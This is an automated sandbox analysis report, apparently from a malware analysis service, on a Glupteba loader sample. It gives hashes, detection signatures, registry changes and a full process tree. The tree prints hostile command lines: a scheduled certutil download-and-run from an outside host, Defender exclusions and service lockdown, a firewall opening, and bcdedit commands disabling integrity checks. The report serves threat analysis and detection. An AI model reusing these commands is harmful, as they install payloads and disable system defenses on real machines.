glupteba | 2bd6567a2a3321019d204a42484e626c8b98ecbaf068b66833fc15a737c1f42e

Analysis

max time kernel
135s
max time network
151s
platform
windows10_x64
resource
win10v20201028
submitted
04-03-2021 21:00

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General

Target

er.exe
Size

4.0MB
MD5

160dd398272fd4fdf51f410adad9a51b
SHA1

f49489e7960978dd7dbb1784b0c67b1fd540926d
SHA256

2bd6567a2a3321019d204a42484e626c8b98ecbaf068b66833fc15a737c1f42e
SHA512

8e9d8eadc207bc4ee11d7971a7dc75f1cacd94579c03f406128c302e85c50c0f58e5723d3da74f0c0049b18cdde1842ef6658dbee5d897154377fb39fae4ead4

Score

10^/10

glupteba metasploit backdoor discovery dropper evasion loader persistence trojan upx

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

Glupteba
Glupteba is a modular loader written in Golang with various components.
loader dropper glupteba

Glupteba Payload 4 IoCs

Processes:

resource	yara_rule
behavioral2/memory/1148-3-0x0000000000400000-0x0000000000C77000-memory.dmp	family_glupteba
behavioral2/memory/1148-6-0x0000000003930000-0x000000000418D000-memory.dmp	family_glupteba
behavioral2/memory/1148-7-0x0000000000400000-0x0000000000C77000-memory.dmp	family_glupteba
behavioral2/memory/856-14-0x0000000000400000-0x0000000000C77000-memory.dmp	family_glupteba

MetaSploit
Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.
trojan backdoor metasploit

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

Processes:

svchost.exe

description	pid	process	target process
PID 684 created 1148	684	svchost.exe	er.exe
PID 684 created 2696	684	svchost.exe	csrss.exe
PID 684 created 2696	684	svchost.exe	csrss.exe
PID 684 created 2696	684	svchost.exe	csrss.exe
PID 684 created 2696	684	svchost.exe	csrss.exe

Windows security bypass 2 TTPs
evasion trojan

Disabling Security Tools
T1089

Modify Registry
T1112

Modifies boot configuration data using bcdedit 15 IoCs

Processes:

bcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exebcdedit.exe

pid	process
2440	bcdedit.exe
2428	bcdedit.exe
3772	bcdedit.exe
3760	bcdedit.exe
2156	bcdedit.exe
3236	bcdedit.exe
2648	bcdedit.exe
184	bcdedit.exe
3940	bcdedit.exe
936	bcdedit.exe
3904	bcdedit.exe
3452	bcdedit.exe
2732	bcdedit.exe
2324	bcdedit.exe
2204	bcdedit.exe

Drops file in Drivers directory 2 IoCs

Processes:

dsefix.execsrss.exe

description ioc process

File created C:\Windows\system32\drivers\VBoxDrv.sys dsefix.exe
File created C:\Windows\System32\drivers\Winmon.sys csrss.exe
Executes dropped EXE 5 IoCs

Processes:

csrss.exepatch.exedsefix.exewindefender.exewindefender.exe

pid process

2696 csrss.exe
1316 patch.exe
3960 dsefix.exe
2288 windefender.exe
488 windefender.exe
Modifies Windows Firewall 1 TTPs
evasion

Modify Existing Service
T1031
Possible attempt to disable PatchGuard 2 TTPs
Rootkits can use kernel patching to embed themselves in an operating system.
evasion

Impair Defenses
T1562

Command-Line Interface
T1059

description	ioc	process
File created	C:\Windows\system32\drivers\VBoxDrv.sys	dsefix.exe
File created	C:\Windows\System32\drivers\Winmon.sys	csrss.exe

pid	process
2696	csrss.exe
1316	patch.exe
3960	dsefix.exe
2288	windefender.exe
488	windefender.exe

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
C:\Windows\windefender.exe	upx
C:\Windows\windefender.exe	upx
behavioral2/memory/2288-57-0x0000000000400000-0x0000000000897000-memory.dmp	upx
C:\Windows\windefender.exe	upx

Loads dropped DLL 4 IoCs

Processes:

patch.exe

pid process

1316 patch.exe
1316 patch.exe
1316 patch.exe
1316 patch.exe

pid	process
1316	patch.exe
1316	patch.exe
1316	patch.exe
1316	patch.exe

Windows security modification 2 TTPs 10 IoCs

evasion trojan

Disabling Security Tools

T1089

Modify Registry

T1112

Processes:

er.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\er.exe = "0"	er.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows = "0"	er.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\wup = "0"	er.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	er.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	er.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	er.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	er.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	er.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	er.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Roaming\SilentShadow = "0"	er.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

er.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\SilentShadow = "\"C:\\Windows\\rss\\csrss.exe\""	er.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in Windows directory 4 IoCs

Processes:

er.execsrss.exe

description	ioc	process
File opened for modification	C:\Windows\rss	er.exe
File created	C:\Windows\rss\csrss.exe	er.exe
File created	C:\Windows\windefender.exe	csrss.exe
File opened for modification	C:\Windows\windefender.exe	csrss.exe

Launches sc.exe
Sc.exe is a Windows utlilty to control services on the system.
Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exeschtasks.exe

pid process

3848 schtasks.exe
2728 schtasks.exe

pid	process
3848	schtasks.exe
2728	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

er.execsrss.exewindefender.exenetsh.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	er.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-434 = "Georgian Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-651 = "AUS Central Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-892 = "Morocco Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-692 = "Tasmania Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	er.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2062 = "North Korea Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-271 = "Greenwich Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-792 = "SA Western Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-531 = "Sri Lanka Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1662 = "Bahia Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1661 = "Bahia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-132 = "US Eastern Standard Time"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\System\CurrentControlSet\Control	netsh.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-11 = "Azores Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-162 = "Central Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-572 = "China Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-181 = "Mountain Daylight Time (Mexico)"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-1891 = "Russia TZ 3 Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2511 = "Lord Howe Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1911 = "Russia TZ 10 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-242 = "Samoa Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	er.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-181 = "Mountain Daylight Time (Mexico)"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1932 = "Russia TZ 11 Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-41 = "E. South America Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-105 = "Central Brazilian Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-171 = "Central Daylight Time (Mexico)"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2611 = "Bougainville Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2342 = "Haiti Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-542 = "Myanmar Standard Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-442 = "Arabian Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-449 = "Azerbaijan Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-231 = "Hawaiian Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-1841 = "Russia TZ 4 Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2391 = "Aleutian Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-105 = "Central Brazilian Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2041 = "Eastern Daylight Time (Mexico)"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-962 = "Paraguay Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-121 = "SA Pacific Daylight Time"	csrss.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2162 = "Altai Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-542 = "Myanmar Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-214 = "Pacific Daylight Time (Mexico)"	windefender.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	er.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	er.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-151 = "Central America Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1912 = "Russia TZ 10 Standard Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1831 = "Russia TZ 2 Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-671 = "AUS Eastern Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-661 = "Cen. Australia Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-911 = "Mauritius Daylight Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2792 = "Novosibirsk Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-1892 = "Russia TZ 3 Standard Time"	windefender.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-41 = "E. South America Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-384 = "Namibia Daylight Time"	csrss.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2392 = "Aleutian Standard Time"	windefender.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

Processes:

er.exeer.execsrss.exe

pid process

1148 er.exe
1148 er.exe
856 er.exe
856 er.exe
2696 csrss.exe
2696 csrss.exe
2696 csrss.exe
2696 csrss.exe
Suspicious behavior: LoadsDriver 2 IoCs

Processes:

pid process

616
616

pid	process
1148	er.exe
1148	er.exe
856	er.exe
856	er.exe
2696	csrss.exe
2696	csrss.exe
2696	csrss.exe
2696	csrss.exe

pid	process
616
616

Suspicious use of AdjustPrivilegeToken 24 IoCs

Processes:

er.exesvchost.exeer.execsrss.exesc.exe

description	pid	process
Token: SeDebugPrivilege	1148	er.exe
Token: SeImpersonatePrivilege	1148	er.exe
Token: SeTcbPrivilege	684	svchost.exe
Token: SeTcbPrivilege	684	svchost.exe
Token: SeSystemEnvironmentPrivilege	856	er.exe
Token: SeBackupPrivilege	684	svchost.exe
Token: SeRestorePrivilege	684	svchost.exe
Token: SeBackupPrivilege	684	svchost.exe
Token: SeRestorePrivilege	684	svchost.exe
Token: SeBackupPrivilege	684	svchost.exe
Token: SeRestorePrivilege	684	svchost.exe
Token: SeBackupPrivilege	684	svchost.exe
Token: SeRestorePrivilege	684	svchost.exe
Token: SeSystemEnvironmentPrivilege	2696	csrss.exe
Token: SeBackupPrivilege	684	svchost.exe
Token: SeRestorePrivilege	684	svchost.exe
Token: SeBackupPrivilege	684	svchost.exe
Token: SeRestorePrivilege	684	svchost.exe
Token: SeBackupPrivilege	684	svchost.exe
Token: SeRestorePrivilege	684	svchost.exe
Token: SeSecurityPrivilege	3676	sc.exe
Token: SeSecurityPrivilege	3676	sc.exe
Token: SeBackupPrivilege	684	svchost.exe
Token: SeRestorePrivilege	684	svchost.exe

Suspicious use of WriteProcessMemory 57 IoCs

Processes:

svchost.exeer.execmd.exepatch.execsrss.exewindefender.execmd.exe

description	pid	process	target process
PID 684 wrote to memory of 856	684	svchost.exe	er.exe
PID 684 wrote to memory of 856	684	svchost.exe	er.exe
PID 684 wrote to memory of 856	684	svchost.exe	er.exe
PID 856 wrote to memory of 2412	856	er.exe	cmd.exe
PID 856 wrote to memory of 2412	856	er.exe	cmd.exe
PID 2412 wrote to memory of 508	2412	cmd.exe	netsh.exe
PID 2412 wrote to memory of 508	2412	cmd.exe	netsh.exe
PID 856 wrote to memory of 2696	856	er.exe	csrss.exe
PID 856 wrote to memory of 2696	856	er.exe	csrss.exe
PID 856 wrote to memory of 2696	856	er.exe	csrss.exe
PID 684 wrote to memory of 3848	684	svchost.exe	schtasks.exe
PID 684 wrote to memory of 3848	684	svchost.exe	schtasks.exe
PID 684 wrote to memory of 2728	684	svchost.exe	schtasks.exe
PID 684 wrote to memory of 2728	684	svchost.exe	schtasks.exe
PID 684 wrote to memory of 1316	684	svchost.exe	patch.exe
PID 684 wrote to memory of 1316	684	svchost.exe	patch.exe
PID 1316 wrote to memory of 2440	1316	patch.exe	bcdedit.exe
PID 1316 wrote to memory of 2440	1316	patch.exe	bcdedit.exe
PID 1316 wrote to memory of 2428	1316	patch.exe	bcdedit.exe
PID 1316 wrote to memory of 2428	1316	patch.exe	bcdedit.exe
PID 1316 wrote to memory of 3772	1316	patch.exe	bcdedit.exe
PID 1316 wrote to memory of 3772	1316	patch.exe	bcdedit.exe
PID 1316 wrote to memory of 3760	1316	patch.exe	bcdedit.exe
PID 1316 wrote to memory of 3760	1316	patch.exe	bcdedit.exe
PID 1316 wrote to memory of 2156	1316	patch.exe	bcdedit.exe
PID 1316 wrote to memory of 2156	1316	patch.exe	bcdedit.exe
PID 1316 wrote to memory of 3236	1316	patch.exe	bcdedit.exe
PID 1316 wrote to memory of 3236	1316	patch.exe	bcdedit.exe
PID 1316 wrote to memory of 2648	1316	patch.exe	bcdedit.exe
PID 1316 wrote to memory of 2648	1316	patch.exe	bcdedit.exe
PID 1316 wrote to memory of 184	1316	patch.exe	bcdedit.exe
PID 1316 wrote to memory of 184	1316	patch.exe	bcdedit.exe
PID 1316 wrote to memory of 3940	1316	patch.exe	bcdedit.exe
PID 1316 wrote to memory of 3940	1316	patch.exe	bcdedit.exe
PID 1316 wrote to memory of 936	1316	patch.exe	bcdedit.exe
PID 1316 wrote to memory of 936	1316	patch.exe	bcdedit.exe
PID 1316 wrote to memory of 3904	1316	patch.exe	bcdedit.exe
PID 1316 wrote to memory of 3904	1316	patch.exe	bcdedit.exe
PID 1316 wrote to memory of 3452	1316	patch.exe	bcdedit.exe
PID 1316 wrote to memory of 3452	1316	patch.exe	bcdedit.exe
PID 1316 wrote to memory of 2732	1316	patch.exe	bcdedit.exe
PID 1316 wrote to memory of 2732	1316	patch.exe	bcdedit.exe
PID 1316 wrote to memory of 2324	1316	patch.exe	bcdedit.exe
PID 1316 wrote to memory of 2324	1316	patch.exe	bcdedit.exe
PID 2696 wrote to memory of 2204	2696	csrss.exe	bcdedit.exe
PID 2696 wrote to memory of 2204	2696	csrss.exe	bcdedit.exe
PID 2696 wrote to memory of 3960	2696	csrss.exe	dsefix.exe
PID 2696 wrote to memory of 3960	2696	csrss.exe	dsefix.exe
PID 684 wrote to memory of 2288	684	svchost.exe	windefender.exe
PID 684 wrote to memory of 2288	684	svchost.exe	windefender.exe
PID 684 wrote to memory of 2288	684	svchost.exe	windefender.exe
PID 2288 wrote to memory of 900	2288	windefender.exe	cmd.exe
PID 2288 wrote to memory of 900	2288	windefender.exe	cmd.exe
PID 2288 wrote to memory of 900	2288	windefender.exe	cmd.exe
PID 900 wrote to memory of 3676	900	cmd.exe	sc.exe
PID 900 wrote to memory of 3676	900	cmd.exe	sc.exe
PID 900 wrote to memory of 3676	900	cmd.exe	sc.exe

C:\Users\Admin\AppData\Local\Temp\er.exe
"C:\Users\Admin\AppData\Local\Temp\er.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1148

C:\Users\Admin\AppData\Local\Temp\er.exe
"C:\Users\Admin\AppData\Local\Temp\er.exe"
2⤵
- Windows security modification
- Adds Run key to start application
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:856

C:\Windows\System32\cmd.exe
C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
3⤵
- Suspicious use of WriteProcessMemory
PID:2412

C:\Windows\system32\netsh.exe
netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
4⤵
- Modifies data under HKEY_USERS
PID:508

C:\Windows\rss\csrss.exe
C:\Windows\rss\csrss.exe ""
3⤵
- Drops file in Drivers directory
- Executes dropped EXE
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2696

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
4⤵
- Creates scheduled task(s)
PID:3848

C:\Windows\SYSTEM32\schtasks.exe
schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
4⤵
- Creates scheduled task(s)
PID:2728

C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
"C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1316

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
5⤵
- Modifies boot configuration data using bcdedit
PID:2440

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
5⤵
- Modifies boot configuration data using bcdedit
PID:2428

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
5⤵
- Modifies boot configuration data using bcdedit
PID:3772

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
5⤵
- Modifies boot configuration data using bcdedit
PID:3760

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
5⤵
- Modifies boot configuration data using bcdedit
PID:2156

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
5⤵
- Modifies boot configuration data using bcdedit
PID:3236

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
5⤵
- Modifies boot configuration data using bcdedit
PID:2648

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
5⤵
- Modifies boot configuration data using bcdedit
PID:184

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
5⤵
- Modifies boot configuration data using bcdedit
PID:3940

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
5⤵
- Modifies boot configuration data using bcdedit
PID:936

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
5⤵
- Modifies boot configuration data using bcdedit
PID:3904

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -timeout 0
5⤵
- Modifies boot configuration data using bcdedit
PID:3452

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
5⤵
- Modifies boot configuration data using bcdedit
PID:2732

C:\Windows\system32\bcdedit.exe
C:\Windows\system32\bcdedit.exe -set bootmenupolicy legacy
5⤵
- Modifies boot configuration data using bcdedit
PID:2324

C:\Windows\System32\bcdedit.exe
C:\Windows\Sysnative\bcdedit.exe /v
4⤵
- Modifies boot configuration data using bcdedit
PID:2204

C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
4⤵
- Drops file in Drivers directory
- Executes dropped EXE
PID:3960

C:\Windows\windefender.exe
"C:\Windows\windefender.exe"
4⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:2288

C:\Windows\SysWOW64\cmd.exe
cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
5⤵
- Suspicious use of WriteProcessMemory
PID:900

C:\Windows\SysWOW64\sc.exe
sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
6⤵
- Suspicious use of AdjustPrivilegeToken
PID:3676

\??\c:\windows\system32\svchost.exe
c:\windows\system32\svchost.exe -k netsvcs -s seclogon
1⤵
